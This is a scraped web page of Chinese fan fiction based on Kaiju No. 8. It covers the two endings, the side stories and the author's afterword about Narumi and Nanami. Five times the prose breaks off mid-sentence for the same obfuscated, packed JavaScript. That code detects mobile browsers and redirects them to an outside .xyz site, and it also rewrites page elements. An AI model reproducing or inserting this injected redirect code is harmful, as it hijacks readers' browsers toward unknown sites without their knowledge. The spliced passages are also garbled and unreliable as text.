这段被直播在公共通讯频道的对话和往常一样逗笑了第一部队的队员们,所有人都感觉这其实只是一次寻常的讨伐任务,大家收工了之后就可以一起回食堂吃饭,再一起去浴场泡澡。 咪咪会在值班室门前等着七海,紧接着队长的办公室便会传来打闹声,抱着小猫追着鸣海小跑的七海总是看起来很高兴,每个人都知道她是故意的,但没有一个人会去拦着,因为大家都爱看四处逃窜的鸣海队长。 直到来栖哽咽的声音出现,他扶着椅子缓缓起身:“副队长,七海牺牲了,再不去派人去的话,我怕回收不了她的尸体……鸣海队长他的攻击范围太……” 他再也说不下去了。 空气好像一瞬间凝结了,长谷川难以置信地看着来栖,他希望他下一句就改口说这不是真的。 “报告长谷川副队长,这里是小此木,我正将七海的遗体运回基地,请开放顶层停机坪。”小此木广之坐在直升机内,被固定在另一侧座椅上的七海似乎和从前昏睡过去的样子没有区别,也许只要休息一会儿再嚼一块能量棒,这个女人就会睁开眼睛,对着自己说总算是下班了。 但他更希望第三部队并没有接入他们的公共频道,这样自己的妹妹就不会在这种时候听说她最喜欢的前辈的死讯。 在讨伐中经历过九死一生的鸣海一直以为自己很清楚死亡是什么声音,却没有想到它没有任何声响。 他没有来得及拉住失去意识倒下的七海,眼睁睁看着她的脸被地上的碎石划破。他还想用力地捶打她的胸口让她醒来,因为心肺复苏没有用,人工呼吸没有用,自己做什么都没有用了。 “带她回去。” 他甚至觉得冷静地对着下属说出这句话的自己看起来有些陌生,而下一秒再次扛起武器的自己又看起来太熟悉了,七海一定会很讨厌这样的他,就像在台场的海边,她对着自己吼出:“拜托你是防卫队,不是世界毁灭家!” 不过他还是站起了身,转身向已经无法活动的怪兽冲去,把自己清醒的理智抛在了身后,他是真的很想毁掉这个世界。所以他不知道自己最后是怎么停下来的,也不知道自己的力气是怎么用尽的,他虚脱似的瘫倒在地上废墟之中,完全记不清七海说自己断了几根骨头。 痛得快死了,耳中早就听不见任何声音,眼睛也看不到任何东西了,他觉得自己回到了在千叶失去一切的那一夜,无论跑向哪里都是一片黑暗,可是他现在不想再跑了。 那间昏暗逼仄的宿舍把他罩住,鸣海爬上了那张扶手椅,身子缩成一团,不存在的游戏手柄声音响起,他对着不存在的影子说道: “七海,完了,我的眼睛好像真的瞎了,你要对我负责。” “七海,我的游戏还卡在上一关呢,你不是说要帮我通关吗?” “七海,我把年终都攒起来了,我还要还你钱呢。” “七海,你不是最怕死的胆小鬼吗,你怎么骗人啊。” “七海,我饭卡好像又丢了,我继续刷你的了。” “七海,长谷川其实也会偷吃你的饼干,不要总是说我一个人。” “七海……” 恢复舱的玻璃罩被打开,盖在鸣海双眼上的纱布被揭开,白色的灯光晃得他眼睛发酸,宿舍消失了,扶手椅消失了,游戏机也消失了,他的梦消失了。 “鸣海队长,您今天起就可以回普通病房了。” 说话的人看着眼熟,鸣海记得她是经常跟在七海身后的那个研究员,总待在实验室,但是名字完全想不起来。要是这会儿七海在这里,她一定会阴阳怪气地说身为队长居然连下属都认不全。 午后,他一个人推着输液杆走在去病房的路上,整个楼层都住满了病人,连讨伐专门医院都住着这么多一般民众,可想而知此次讨伐的惨烈,循着指示牌他找到了自己的病房,抬手拉开门,鸣海没听完里面那人打招呼的句子,就冲着走廊另一头的护士大喊:“有没有人啊,我要换房!” “这可太失礼了,鸣海队长。”左腿打着石膏的保科宗四郎直起身来,“伊丹长官只留了一间双人病房,特地腾给您的。” “那你什么级别,跟我住一起?”不爽地咂了一下嘴,鸣海不情不愿在靠窗的病床上背对着保科躺下。 “亚白队长腾给我的。”保科笑了笑。 鸣海冷哼一声,但是输液的手被压到了,只好又翻身平躺着,用愤怒的眼神狠狠射杀着天花板的吸顶灯。 见好就收的保科便也安静下来,他摸出枕头边的手机刷着并没有新消息的推特主页,两个人就这样沉默了许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603727|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久。 夕阳慢慢照进窗内,走廊外传来一阵喧闹声,东云和木梨先进来了,然后是琪可露和三宅,最后是怀里抱着咪咪的日比野,他们站在鸣海的床边七嘴八舌说着关心队长的话,还提到立花也在住院,鸣海一边觉得吵一边又觉得他现在需要这些声音。 “咪咪!”没能抱住猫的日比野眼睁睁看着咪咪跳到了鸣海的腿上。 所有人都以为队长要发飙的时候,鸣海竟然没有任何反应,没有一蹦三尺高,也没有躲到谁的身后,他只是和咪咪低头对视,它就在他的两腿间蜷成球,没一会儿呼呼大睡起来。 它全无戒备的模样,就像七海在它身边似的,以至于探视时间结束后,日比野根本无法直接将它抱走,幸好琪可露随身带了两根猫条,这才连哄带跑让咪咪钻回了背包。 当尴尬的安静再次笼罩住病房,躺着的保科冷不丁开口:“你现在不怕猫了吗?” “因为最害怕的事情已经发生了。”鸣海没有抬杠,回答得干脆。 大约是没料到会得到这样的答案,保科轻轻呼出一口气:“她的葬礼会在龙宁神社举办,下个月初的时候。” “啧,”鸣海侧过身看向窗外,“她可不喜欢那么多人,只想有人能记得她。” “反正你不会忘记她的。”保科回道。 “我倒是想啊。”鸣海闭上眼,逼迫自己尽快睡着。 葬礼当日果真来了许多人,多到如果七海在现场的话一定会找个角落把自己藏起来的程度,从讨伐厅高层到防卫部队内勤的实习生们,连出云科技研发部的同事们都出现了。 先前被她救下的女人站在自己的丈夫身旁,她怀里抱了很大一束花,小此木心美倚靠在哥哥的肩头从头哭到了尾,而临了才来的院长,她看到了一直站在最边角没有露脸的鸣海,轻轻叹了一口气。 夜幕降临人群都散尽,这时候鸣海才悄悄走了出来,他记得正月第一日跟七海一起来神社祈福,她将什么东西藏在了这里,就在刻着她父母姓名的牌子后面。 他伸手先摸到了一个金属的名牌,旁边还有一块用绳子缠得严严实实的东西,吹掉上面的灰尘,他把手机放到一边打着光。 “七海阳平。”他念出了名牌上的字,调整了一下呼吸,转手就放回了原处又鞠了一躬。 而另一个掂量起来也没什么重量,红绳把它捆得死死的,鸣海费了半天力气才解开,叮咚一声,其中一个落在了地上,他弯腰去捡,微弱光亮映照下,上面写着的“鸣海弦”三个字正在闪着光。 “不会吧……”他的心头一沉,果然在手里的牌子上看到了“七海阳菜”。 这么长时间都流不出的眼泪夺眶而出,一滴又一滴落在手心,红绳都被打湿了,可惜鸣海看不到自己的脸,因为他其实在笑,就像是发现了七海的弱点一样,他得意地笑了,一边笑又一边把她的名字狠狠攥在手中,金属制的牌子边缘锐利,陷进肉里在手上留下几道血痕。 “所以承认你喜欢我会死吗?” 他笑着说出声,又在意识到她真的不在了的时候笑得更大声了,泪水也糊了满脸,潦草地用袖子擦了两下,他把两个人的名字重新捆好,仍然和她的家人放在一起。 后退了两步,鸣海双手合十抵在前额,清了清嗓子低声说:“二位七海教授,阳平大哥,你们好,从现在开始我也是你们的家人了。” 他顿了顿抬起头,继续道:“再次自我介绍一下,我是鸣海弦,是这个世界上最喜欢七海阳菜的人。” 37.内勤暴言(结局B) 内勤暴言(外勤版本)@wffh 朋友们,搬砖去了。 回见。 13:48 dd/mm/yy twitter for web ———————————— 咖啡蒙布朗@hs1121 reply to @wffh 所以这是还在加班吗,互联网好邻居? ———————————— 内勤暴言(pro版本)@wffh reply to @hs1121 请看我的新名字(笑) ———————————— 疼痛感消失了,不对,倒不如说什么感觉都消失了,七海张开五指,发现自己好像坠入了一个完全的黑暗之中,这种未知感让她有些不安,她站在原地转了一圈,猛然间踩空了一步,身子不断下坠,仿佛是没有尽头的深坑。 四周围有微弱的点点星光,出现又熄灭,就像是自己在意识中看到的怪兽信号一般,那么这大约就是眼前巨兽的意识空间了,她想自己必须要依靠自己的力量走出去才行。 但人类要有多么强大的意志才能在无限的虚空中奔跑,七海极力抵制内心深处写满绝望的惰性,她害怕自己要是停下来,就再也不会爬起来了。 不远处有一处的亮光变得刺眼,她加快了步伐上前,原来那是一道正在逐渐变小的裂痕,正中间有个黑色的影子,这眼熟的身形令七海不敢相信自己的眼睛,她愣住了几秒钟才开了口。 “四之宫长官,你没有消失真是太好了。” 男人的半张脸已经被深色的印记覆盖,他似乎花了许久,终于认出了眼前的七海,他用手和脚支撑住裂缝,让光亮能够顺利照进来。 然而喜悦的情绪没有保持多一秒钟,七海立刻明白,如果这个意识空间被永远关闭,这些链接被永久切段的话,她将再也无法接触到四之宫长官,他将会经历真正的、彻底的消亡,一想到这里,她竟无法再直视早已被怪兽基因侵蚀了的男人。 “未来的人类需要的不是我,是你和鸣海,你必须在这里切断怪兽九号与远古巨兽的链接,这是最后的胜算。”四之宫强调道。 “七海,不要再犹豫。” 长官的提醒与他的身影同时被无止尽的黑暗吞没,七海告诉自己千万不要回头看只向前走,一个个被标记好的怪兽按顺序出现了,最后她对着终点的日比野卡夫卡大喊道:“前辈,交给你了!” 紧接着,呼吸声、心跳声、呼呼的风声,还有所有代表着生命的声响灌进了她的大脑,虚空不见了。 “醒一醒,求你醒一醒,醒一醒啊。” 沉重的感觉在胸口一遍一遍落下,七海艰难地呼吸了一下,挣扎着说道:“别按了别按了,没死呢,肋骨要断了。” 眼皮好像也有千斤重,七海尽力睁开眼,眨了两次才勉强聚焦,看清了跪坐在自己身侧的人是谁,他的眼珠子都快瞪出来了,看起来好像吓傻了一样。 “喂,鸣海。”她稍有些无奈地叫他的名字。 鸣海没有立刻回应她的呼唤,而是俯下身去深深吻住了七海,唇瓣相贴,他分辨不清这一丝酸苦是来自泪水还是血腥气,又或者只是扬起的灰尘,只是一次又一次感受她的呼吸,在心里一遍又一遍跟自己说这是真的,这不是他的幻觉。 这是今日他带来的第二个无法拒绝的吻,七海伸出手抚上他的脸颊,而后用指腹轻轻摩挲他的眼睛,平静而安宁的地底世界同时出现在两人脑海中,而下一秒则是亚白在二十二公里外的立川基地一击射中了怪兽九号的核,日比野卡夫卡便一拳将其粉碎。 两个人面对面睁开眼,七海先笑了,鸣海跟着也笑了,他觉得现在终于可以彻底松一口气了,毕竟肩膀新添的贯穿伤实在是太痛了,只有刚刚在吻七海的时候他才短暂忘记了一阵子。看到伤口滴下来的血弄脏了她的战斗服,他便深深呼吸了一下,然后七海的身边躺了下来。 “啊——真不爽啊,又给第三部队出风头了。”他抱怨道。 “你不是早就习惯了吗?”七海刚要笑出声又觉得胸口一阵抽痛,“我觉得我肋骨肯定被你按断了。” “我又不是故意的,”鸣海说着清了清嗓子,变得有点吞吞吐吐,“那个七海,下次轮休有空的话陪我去趟区役所。” “这回大难不死,你终于想起来要去搞你的年金了?”大约是战力解放的消耗太大,困意自然而然找上了门,七海打了个呵欠。 “我要去改名字。”鸣海往她那边挪了挪,把头靠在她的肩上。 “这年头哪还有人改名字,”七海越来越困,思考速度越来越慢,说话也变得语无伦次,“难道要结婚吗?” “是啊。”鸣海连忙答应。 “跟谁啊。”七海的眼睛已经闭上了,说话声变得很轻。 “你啊。”鸣海说完连忙扭头确认,可惜身旁的七海已经昏睡了过去。 很显然两个人又和往常一样,完全没有发现自己的对话通过公共通讯频道,一字不落直播给了全东京的防卫部队,自然也不会知道实时的影像也在来栖修复完无人机系统后传送回了有明临海基地。 因此当身受重伤的两个人在恢复舱里躺了半个月总算能出院时,所有人都在期待那个场景,那就是鸣海队长和七海出现在区役所办事大厅的场景。 这个男人自然不负所托,只是提交完申请之后鸣海仍然觉得有点不真实,他拉住准备起身的七海问道:“你怎么一点都不惊讶,这可是求婚,我们要结婚诶?” “如果你非要把这个当成求婚的话,”七海耸了耸肩,“无所谓,我知道你喜欢我。” “你什么时候知道的?”鸣海反问。 “那我不知道,”七海思索了一下,“但我是在生日那天确认的。” 听了七海的回答,鸣海东想西想不知自己是在什么状况下露馅的,明明他现在想牵她的手都得看运气,因为七海总会突然躲开或者直接把手抽出来,他搞不通她在想些什么,也搞不通她是不是也真的喜欢自己。 而这日回基地之前,七海却主动拿了车钥匙,她一声不吭开着车拐去了龙宁神社的方向,坐在副驾驶的鸣海越发迷糊了,不过他决定先不问她究竟要做什么,只是安静地跟在后面。 只见七海踮着脚伸长胳膊,从父母的名字后面拿出了一团用红绳缠好的东西,她拍掉上面的灰尘,解开绳结。 “既然我们都活下来,这个就暂时拿回来吧。”她解释道。 “那是什么?”鸣海好奇道。 七海将里面的两个金属牌拿出来,放到鸣海手中,那上面刻着的是他们两个人的名字,这一刻鸣海可算是恍然大悟了,他攥紧了手里的东西,笑着说:“我就知道你果然喜欢本大爷。” “真不想承认啊——”七海缓缓摇头,慢慢向外走。 “不想承认我们也结婚了,逃不掉了。”鸣海追上来。 她又摇了摇头,继续沉默。 “后悔也没用哦。”鸣海凑在她耳边说。 七海看了他一眼,还是没说话只是主动牵住了鸣海的手,然后开口道:“走吧,七海弦。” 一年后,全日本讨伐战略会议前夕,讨伐厅总部大楼重建完毕,所有职能部门均从有明临海基地迁回原址,内部的装修保留了原本的设计,连指挥部旧址都未曾变样,仿佛那一场几乎牺牲了防卫部队近三分之一的讨伐从未发生。 午后一时半,七海挂上刚从行政处领取的新证件,穿过熟悉的走廊,通过了面部识别认证走进了总部的技术中心。 “东部地区监测数据统计出来了吗?”她拉开办公椅坐在最中间的工位上。 “正在上传中,请您再稍等片刻,七海长官。”技术员迅速起身,将打印出来的文件送到她桌前,“这是综合讨伐办公室刚送来的公文。” 她翻开文件夹一眼就看到了伊丹的批注,眼里浮现了点点笑意,她确实不认为能从总长官和那群老头那里得到共识,只是有些话她是不会选择不说的。 与此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603728|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同时的第一部队基地,每周一次的集体训练演习刚刚结束,站在队伍最前列的鸣海阴沉着脸一言不发,队员们也不敢随意离开,只好站在原地低声讲着悄悄话。 “所以队长求婚的时候是不是完全没想过夫妇不可在同一部队效力的要求。”东云侧着身子跟身旁的木梨嘀咕道。 “他也不至于还在介意升职的是七海不是他吧。”木梨说得小心翼翼。 “从普通队员直接晋升东部一把手,确实不是一般人能做到的。”刚升为小队长的小此木广之倒是毫不顾忌,依然是那副酸溜溜的语气。 “有点良心吧,这是七海拿命换来的。”东云略显不满,睨了他一眼。 结果后面的琪可露也搭腔说:“但是如果可以的话,我其实更希望升职去总部的是鸣海队长。” “嗯,我能理解。”日比野出声附和。 剩下的大家不约而同交换着眼神,纷纷默契地点了点头。 “我也能理解。”今天本来应该在总部述职的长谷川竟然冷不丁加入了悄悄话。 “长谷川副队长!” 全员立马立正站好,闭上嘴停止了八卦,东云还踢了木梨一脚,责怪他没有提醒大家。 长谷川一点都不想批评这群乱说话的队员们,只因为这么多年他早就默认了鸣海是七海的任务,自己只是协助的角色,可现在没有了七海,这家伙就变成他一个人的任务了,最希望七海回来的人根本就是长谷川本人。 至于那位总是让人头疼的队长先生一脸阴郁的真正原因,跟升职这件事也不能说完全没关系,其实是鸣海真的不想今晚亲她的时候再被踹下床了,而且他现在一听到七海说明天还要上班几个字就觉得自己的头变成了两个大。 好烦啊,人为什么要工作! 让鸣海无比烦躁的日子又这么过了几天,战后第一次全日本讨伐战略会议落下帷幕,他相信即便是讨伐厅总部也不该再每天加班了。 这场会议的媒体发布会在国会议事厅外举行,内阁官房长官公开向讨伐厅发言人提出质询:“那么都内讨伐战役会是怪兽被彻底消灭的标志吗?” 时任东部师团长兼讨伐厅技术中心主任的七海阳菜没有直接开口回答问题,而是微微一笑:“长官,我想我们一直摆错了自己的位置,人类从不是这个地球的主人,怪兽信号也绝无消失的可能。” “所以这就是讨伐厅的态度?”内阁长官追问。 “是的,讨伐厅从始至终都是站在未来的立场上。”七海点头回应,丝毫不在意身边伊丹总长官已然发青的脸色。 而在基地会议室内观看直播的鸣海两手环抱靠在椅背上,他听着七海大胆的发言直接哈哈大笑了起来。 “伊丹那老家伙这下要疯了,”长谷川的语气中透着点幸灾乐祸的味道,“反讨伐组织在总部门口的帐篷还没拆。” “挺好,要是真被弹劾了就赶紧回来。”鸣海埋怨道,“我看她去了总部也没准时下过班。” “你能换一个不需要上听证会的词吗?”长谷川叹了口气。 “左迁?”鸣海转头补充道,长谷川便又叹气。 整场发布会期间,两手托腮盯着屏幕傻乐的鸣海始终没把目光从七海身上移开,因为她难得穿了讨伐厅的那套制服裙。 今早出门前鸣海还特地问了她以前怎么从来不穿,七海揉着咪咪的脑袋,面无表情瞥了他一眼说:“什么人会光着腿进实验室?” 七海的答案总是无懈可击,鸣海无法反驳。 时间转回多年前,七海成为内勤的第一天,临退休的前辈向她传授了内勤守则之三个“绝不”,即绝不操心外勤的死活,绝不为外勤加一分钟的班,绝不出外勤。 很可惜,她一条也没做到。 她只做到了完美内勤十二字守则——总是理解,经常支持,适时成全,并摊上了一个再也甩不掉的外勤人员。 如今的七海阳菜依旧会在梦中见到怪兽,但是刺痛感再也没有出现过,有的只是空旷宁静的地底沉重的心跳声。 38.内勤暴言(番外A)[番外] 一则:关于某人的饭卡 周围人都知道行政内勤那个很爱打扮的小姑娘从入职起就经常受七海的照顾,所以在七海牺牲后,她便负责了所有相关的手续,注销办公楼和宿舍的门禁卡,还有处理办公室里的文件与电脑,小姑娘都办得很是妥当。 只是她进不了七海住的宿舍房间,因为鸣海队长这些日子一直待在里面没出来,她也找不到七海的食堂饭卡,直到东云提醒她,那张卡也在队长那里,而且他还一直在用。 没有人敢去提醒鸣海这件事,更没有人敢想象如果七海的饭卡没办法刷了的话,那家伙会给出什么样的反应。大家只好把希望寄托在长谷川身上,然而每次跟长谷川提到,他都会立刻用各种借口躲避。 连副队长都解决不了的事情,扔给一个小姑娘也太可怜了。 不过她还是很快就找到了办法,联系财务把打款的账户换成队长自己的补贴,然后在后台修改了饭卡的注册姓名,这样鸣海就可以拿着一张印着七海照片和名字的饭卡一直使用下去,像他过去一样。 二则:关于某人的宿舍 上回书说道,那段时间鸣海除了办公时间之外,基本上就是躲在七海的房间里不出来,也不见他帮她收拾遗物,他就是躺在扶手椅上一言不发,或者坐在地板上打开那台小电视,成夜不睡觉,一个人打游戏。 某一天他看到洗手间脏衣篮里冒出了一株蘑菇,是真的蘑菇,摸起来软软的,看来临海潮湿的气候确实能长出蘑菇,她以前教训懒得洗衣服的自己时说的那些话果然是真的。 他蹲下来掰开蘑菇,把里面的脏衣服翻出来,发现衣领后面绣着自己的名字,连发给上司的训练衫都要薅走,七海未免太抠门了一些。 在蘑菇的影响下,鸣海终于下定决心开始整理七海的遗物了,她少说也在这里住了有七年,房间里的东西竟然少得不像话,衣柜里没有几件私服,内衣十分朴素,鸣海甚至直接略过了。 剩下的空间被外面摆不下的书和资料填满,他潦草翻了翻,发现自己完全看不懂,便通通放进了空纸箱。 起身打开第二个柜门,鸣海愣了好一阵子,因为这里面放的全是她先前没收走的游戏卡带和手办,保存得比他自己还要好,所有的包装都没有拆开,她只是放在了这里,也没有像她威胁的那样卖掉,更没有自己拿去玩。 “你这样会让我变成一个很垃圾的家伙诶。”他自言自语,在柜子前呆坐着,最后才拿起那个她放在电视旁的速写本,前面一半和后面的笔迹不同,感叹着她还真是有够喜欢怪兽的,就在里面一页看到了自己的速写大头,七海和标记怪兽一样,写上了“世界上最蠢的人”。 “你才蠢。”鸣海摸了摸那行字,笑着回怼道。 三则:关于某人的猫 清空了七海的宿舍房间以后,她就只剩下最后一样遗物了,这么说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603729|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点不合适,但鸣海也找不到其他好的说法,总之,咪咪的去处总要有个结果,毕竟部队里几乎所有人都争着要领养它,琪可露还说就把咪咪留在值班室,和以前一样,至于猫粮和猫砂还有其他费用就让大家平摊,让咪咪变成第一部队的队猫。 鸣海觉得这个方法不错,但是也没有很好,因为他认为自己的方法更好,那就是他来领养咪咪。 话一说出口就被队友们反驳了,他们完全不顾他是顶头上司的身份,纷纷表示虽然他现在已经不怕猫了,但是养猫需要耐心和爱心,而这两个东西,正好是鸣海从未拥有过的东西。 不过好在鸣海弦还有一个相当优秀的品质,不信邪,哦不对,不服输,别人越觉得他做不到,他就越要做到。加上咪咪对他有着天然的依赖感,因此这家伙赢得毫不费力。 鸣海很快就把自己的驻地换回了那间公寓,解放了基地的队长办公室,同时也解放了长谷川,他总算不同鼓足勇气再推开那扇门,更不用担心那门缝里会不会钻出一两只长着细长须的蟑螂朋友。 自此之后,公寓客厅沙发上那个鸣海最爱的靠垫变成了咪咪永久的根据地,咪咪也很喜欢趴在餐桌的那张合照前等他下班,或者是睡在七海原先的那张扶手椅上,那被鸣海搬回公寓了。虽然这个家里看起来时不时和台风过境依旧没有太大区别,可他至少不会忘记给咪咪铲屎和洗澡。 他想七海会夸奖他的。 39.内勤暴言(番外B)[番外] 一则:七海夫妇的婚礼 出于一些众所周知的理由,当然更多是因为七海怕麻烦的个性,他们在入籍之后并没有举办结婚仪式,七海只是抽空去买了一些点心,给基地上下所有认识的同事们都分了一下,然后在接到伊丹总长官的调令准备离开部队之前,在群发的告别邮件里向全体队员发布了与鸣海结婚的消息。 邮件的附件贴上了二人的手写信,署名是七海弦和七海阳菜。 这下大家才知道原来改姓的是鸣海队长,一时间女队员们对队长的态度都好了不少。 第三部队自然也收到了手写信的图片,日比野一激动就给过去的队友们每个人都发了,还好这件事七海并不知道。 保科自然是要第一个去调侃七海夫妇的,他祝贺七海结婚与升职双喜临门,然后问她记不记得当年的赌局。 在他们两个还是普通队员的时候,一次演习的现场,七海一边给鸣海调试装备,鸣海就在边上跟保科斗嘴。 “我看你俩挺合适干脆结婚去吧。”七海被两个人的争吵惹得烦躁不已,不禁嘲讽道。 “我跟你结都不会跟他结的。”鸣海抢先说道。 “我觉得您二位确实很合适,我赌你们会。”保科顺着杆就向上爬。 “我赌死也不会。”七海翻了个白眼。 “那我就赌你会,”鸣海昂起头,“我可是鸣海弦。” 一些不堪回首的记忆突然出现在七海的眼前,她冷着脸回复不记得,立马挂断了保科的电话。 二则:被关在门外的咪咪 七海夫妇的同居难题是一只狸花猫。 婚后有很长一段时间,卧室的床都被咪咪占领了,鸣海空有一肚子怨气,却不敢反抗一点。 好不容易鼓足勇气把枕头连着咪咪一块儿搬到了客厅,然后又以迅雷不及掩耳之势锁上了门,当他以为自己终于胜利的那一刻,他的手还没碰到躺在里侧的七海,门外就传来了咪咪挠门的动静。 “我不是说了它还不习惯新的地方。”七海一手抱回咪咪,另一只手把枕头塞到鸣海怀里,并指着客厅的沙发,“你们最近就换一换吧,委屈你了七海弦先生。” 说罢她在他的脸颊留下一个吻,接着转身带上了卧室门,压根没有给鸣海拒绝的机会。 “只是亲脸算怎么回事嘛。”鸣海心不甘情不愿摸了摸脸又揉了揉自己的嘴,最后带着怨气躺在了沙发上,并在心里念叨着真是一只狡猾的坏猫。 三则:七海的体检报告 所有的怪兽三号适配者无论性别与年龄,他们患帕金森综合症的概率都会比寻常人高许多倍,这个后遗症七海打从一开始就已经知道了,只是她没想过鸣海也很清楚这件事。 每一次的定期检查,这小子都比她更紧张一些,明明自己已经强调过现在她不必再出外勤,使用抑制剂的量也很稳定,他还是担心她会和院长一样。 尤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603730|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其是战后的第一次体检的时候,鸣海非常不安,因为七海不仅超负荷将战力解放到了百分百,而且还为了使用怪兽三号的能力长时间停用抑制剂,就算鸣海对研究的事情一窍不通,他也能猜到这对七海的身体一定产生了不可逆的损伤。 与之相对的,七海倒是很好奇鸣海这家伙的身体素质,同样是过度使用了怪兽一号的能力,同样是超出了战力解放的限度,他甚至还断了好几根骨头且内脏破损,为什么他的视力没有受损,身体机能也没有变化。 住院躺了两个多星期,他好像连精力都翻倍了,有时候她真不敢相信鸣海跟自己是同龄人,还是说快三十岁的难道只有她吗。 听说七海在总部做完了检查,鸣海匆匆忙忙就跑去了来栖那里,就站在他旁边等着报告全部出来,七海无可奈何只想赶紧拖着鸣海走人,但他拗起来谁也拉不住,直到来栖把打印出来的指数递过来,他从上到下看了两遍,终于是满意了。 “很好,很健康!” 听到他的评价,七海是真的不知道要说些什么了,来栖则在一旁露出了欣慰的表情。 “求求你前辈,不要这么看着我们。”七海皱起眉头。 “没办法的,我们大龄单身汉就是这样看人的。”来栖的话配上这目光,还有那日渐消瘦的面颊,显得更加凄凉了。 “希望您婚活成功。”七海握拳给他加油。 “借你吉言。”来栖便碰了碰她的拳头。 40.后记[番外] 大家应该都能看出来吧,我其实没带什么脑子写这个故事,不过考虑到松本直也可能也没带什么脑子画这个漫画,所以我觉得我努力到这个程度应该已经很棒了。 起初是想写一个班味很浓的主角,类似于单位里那种冤大头,说话难听但所有事情都干了,非常倒霉的一种人。某种意义上这也算是本人舒适区了,听起来好可怜的一种舒适区。反正就是在这种前提下,死人微活状态的七海阳菜诞生了。 她有点聪明小孩的傲慢在身上,可浑身上下就剩一张嘴了,其实人太好了,有时候好得有点窝囊,不过她已经赤条条来去无牵挂了,每天耗在工位上也算一种打发时间,毕竟她也不爱睡觉。 鸣海和七海多少有点对照组的意思吧,记得我之前概括他们俩是一个怕死的女人和一个最强的男人,他们几乎在所有事情的态度上都是相反的,除了瞧不起自己以外的人这件事,但这俩人是认可彼此的,尤其是能力方面。 至于审美上,七海这人没什么审美,鸣海的审美还停留在纸片人层面,所以没有讨论的必要,好嘞下一个! 因为是一口气写完了两个结局,所以后记的内容就想到哪里说哪里了,我的脑子可能需要一点水冷系统。 以及不要在意我在结局时那些毫无意义的拔高,那只是我不由自主的废话内容,我也控制不了自己,我是一个爱说教的家伙,直接略过只看小情侣就没问题。 个人观感两海的x张力还是比较足够的,但奈何平台纯良、作者养胃、角色心智不全,多方势力综合,导致他们无法在正文中有任何负距离交流,当然不能赖别人,那肯定是本作者的问题,但我不会改的,就这么倔。 再讲一点点灵感来源吧,第一章里提到的Plan B的梗其实是碟中谍的伊森和班吉,伊森让班吉进行B计划,班吉回答:“好嘞,所以那是什么。” 其余更多的内勤印象则是007的Q博士,大英帝国最完美的内勤,无人能超越。 至于七海与鸣海的互动,我更多的参考是比格犬受害者联盟,啊没错,鸣海是比格,七海是传说中的忍人所不能忍的狗主人。 没有不喜欢比格犬的意思,我爱小比,非常爱。 啊还有七海的失眠症,大概是因为大战里死过一次了所以那之后就再也不会害怕躺下了,加上鸣海在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603731|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边她比较安心,也容易睡着,这是不能告诉鸣海的事情,他会太得意了。而哥哥的那件外套被她挂在衣柜里,纯做纪念,扶手椅被搬到了公寓阳台,是咪咪在家里的第二根据地。 不管是牺牲线还是存活线,最后扶手椅都是属于咪咪的。 对了,我是不是没说过,其实我在怪兽八号里推的就是漫画标题,因为喜欢怪兽才坚持到了现在,我很想知道松本直也能给我一个什么结局,我很好奇。 让我想想还有什么没说的,啊,非常感谢这半年陪伴我的读者朋友,短短十多万字写这么长时间大家还愿意看到这里,真是太不容易了。 希望各位一切顺利,如果有人对运动番和HP同人有兴趣,可以逛一逛我的作品列表,再次感谢,我们下一本见。 六月起周日更新排球同人《9.15米》,男主是岩泉一,朋友们可以多多捧场! 《题外话》 